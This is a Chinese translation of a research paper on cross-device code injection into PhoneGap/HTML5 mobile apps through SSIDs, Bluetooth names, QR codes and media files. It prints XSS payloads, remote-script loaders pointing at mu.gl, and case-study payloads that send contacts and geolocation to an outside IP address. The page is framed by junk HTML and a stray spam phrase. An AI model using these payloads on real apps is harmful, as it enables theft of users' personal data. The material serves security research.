<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/1472

            from:http://www.cis.syr.edu/~wedu/Research/paper/xds_attack.pdf

            0x00 摘要


            基于HTML5的移動應用程序變得越來越于流行,主要是因為他們更容易在不同的移動平臺進行移植。基于HTML5的應用程序使用標準的Web技術,包括HTML5 , JavaScript和CSS;它們依賴于一些如PhoneGap的中間件與底層的操作系統進行交互。

            JavaScript是容易受到代碼注入攻擊的,我們已經進行了基于HTML5移動應用系統的研究,試圖評估依靠Web技術的移動應用開發是否是安全的。我們的發現是相當驚人的:如果基于HTML5的移動應用變得流行,似乎根據當前所調查的結果,我們每天常做的操作可能會變得危險,包括二維條碼讀取,掃描Wi-Fi接入點,播放MP4影片,配對藍牙設備等。

            除了通過實例的應用程序演示的攻擊,我們已經研究了186個PhoneGap的插件,使用應用程序來實現各種功能,發現其中11是可被攻擊的。還發現了兩個現實當中的基于HTML5的應用程序,很容易受到攻擊。

            0x01 背景


            基于HTML5的移動應用程序大多數不能直接運行在移動系統,如Android和iOS ,因為這些系統不支持HTML5和JavaScript本身; Web容器需要渲染HTML5以及執行JavaScript代碼。

            大多數移動系統有這樣的容器:在Android中它是WebView,iOS中是UIWebView,Windows Phone中是WebBrowser。為簡單起見,我們以下都用WebView來表述。

            WebView: WebView中最初被設計為允許本地應用程序處理和顯示網頁內容。它基本上包的網絡瀏覽功能組合成一個類,可以嵌入到一個應用程序,基本上是網頁瀏覽器應用程序的組件。用WebView中提供的API ,移動應用程序還可以自定義WebView里面的HTML頁面。

            由于WebView中用于加載Web內容,它通常是不可信的, WebView像瀏覽器一樣實現了一個沙盒,使內部的JavaScript代碼只能在一個獨立的環境中運行。

            這樣的沙箱適用于網頁內容,但對于移動應用程序限制還是太大,因為它不能訪問系統資源,如文件,設備傳感器,照相機等。

            WebView在JavaScript代碼和本機代碼(例如, Java的)之間搭建了一個的橋梁。這座橋可讓JavaScript代碼來調用主機代碼。

            已經有人開發了幾個中間件框架,包括PhoneGap , Rhomobile, Appcelerator等。

            在本文中,我們選擇把重點放在最流行的PhoneGap。然而,我們的攻擊也可以應用于其他中間件。

            PhoneGap和PhoneGap插件:PhoneGap幫助開發人員創建使用基于HTML5標準的移動應用程序Web。開發人員在HTML,JavaScript和CSS中寫應用程序。該PhoneGap的框架默認情況下嵌入一個WebView中實例的應用程序,并依靠這個WebView來呈現HTML頁面和執行JavaScript代碼。

            enter image description here

            PhoneGap架構圖

            0x02 XDS攻擊


            有兩種方式可以讓JavaScript的字符串當成代碼執行,一種是利用eval() API,另一種是通過DOM API和屬性,如document.write(), appendChild(), innerHTML等。一些jQuery的展示API也有問題,例如html()和append()。

            #!html
            // Using Script Tag.
            <script>alert(’attack’)</script>...Data...
            // Using the IMG Tag’s onerror attribute. 
            <IMG src=x onerror="alert(’attack’)">...Data...
            

            enter image description here

            DOM(jQuery)展示API和屬性(勾表示能觸發,叉表示不能出發)。

            ID Channels

            在某些情況下,在移動設備建立與外部建立連接之前,它從外部獲對應ID,并顯示給用戶。我們研究如何這樣的ID通道利用惡意代碼注入到移動設備當中。

            Wi-Fi AP

            找到附近的Wi -Fi接入點,許多智能手機用戶安裝某些Wi-Fi掃描儀程序,掃描附近可用的Wi-Fi熱點,并顯示他們的服務集標識符(SSID )。

            為了演示攻擊,我們設置SSID下面的JavaScript代碼:

            #!html
            <script>alert('attack')</script>
            

            程序展示使用java寫的所以不會執行js代碼:

            enter image description here

            非PhoneGap應用

            使用PhoneGap實現的,SSID將在WebView中顯示,這個程序使用html() API展示的SSID導致JavaScript代碼執行。

            enter image description here

            PhoneGap應用

            同時藍牙當中也可能出現類似的問題。

            NFC讀取軟件當中:

            enter image description here

            非PhoneGap應用

            enter image description here

            PhoneGap應用

            二維碼掃描:

            enter image description here

            非PhoneGap應用

            enter image description here

            PhoneGap應用

            MP3, MP4, and Images

            enter image description here

            非PhoneGap應用

            enter image description here

            PhoneGap應用

            等等……

            0x04 限制


            在各場景中的長度限制

            enter image description here

            可以看到Wi-Fi當中長度限制的最短。

            可使用代碼:

            #!html
            <script src=//mu.gl></script
            

            img標簽的話:

            #!html
            <img src onerror=d=document;b=d.createElement(’script’);d.body.appendChild(b);b.src=’http://mu.gl’>
            

            如果有使用jQuery的話:

            #!html
            <img src onerror=$.getScript('http://mu.gl')>
            

            如果要在SSID當中使用的話,可以使用經典的分割代碼的方式:

            #!html
            <img src onerror=a="$.getScr">
            <img src onerror=b="ipt(’ht">
            <img src onerror=c="tp://mu.">
            <img src onerror=d="gl’)">
            <img src onerror=eval(a+b+c+d)> 
            

            0x06 案例研究


            看看現實當中是否有app可以被攻擊:

            案例1 : GWT Mobile PhoneGap Showcase。

            這是一個PhoneGap的演示應用程序,它向開發人員展示了如何使用PhoneGap的和其插件。該應用程序包括了所有的內置插件和三個第三方插件,ChildBrowser插件,藍牙插件, Facebook插件。

            該app使用innerHTML來顯示藍牙設備的名稱。我們把藍牙名稱改成攻擊代碼試一下:

            #!html
            < img src = x onerror = PhoneGap.exec(function(a) {
            
                m = '';
                for (i = 0; i < a.length; i++) {
                    m += a[i].displayName + '\n';
                }
                alert(m);
                document.write('<img src=http://128.230.213.66:5556?c=' + m + '>');
            },
            function(e) {},
            'Contacts', 'search', [['displayName'], {}]) > 
            

            enter image description here

            enter image description here

            案例2:RewardingYourself應用程序。

            掃描二維碼的程序,展示使用的innerHTML,我們在二維碼當中插入如下代碼:

            #!html
            < img src = x onerror =
            
            navigator.geolocation.watchPosition(
            
            function(loc) {
            
                m = 'Latitude: ' + loc.coords.latitude +
            
                '\n' + 'Longitude: ' + loc.coords.longitude;
            
                alert(m);
            
                b = document.createElement('img');
            
                b.src = 'http: //128.230.213.66:5556?c='+m })> 
            

            使用geolocation.watchPosition獲取當前位置。

            enter image description here

            enter image description here

            enter image description here

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线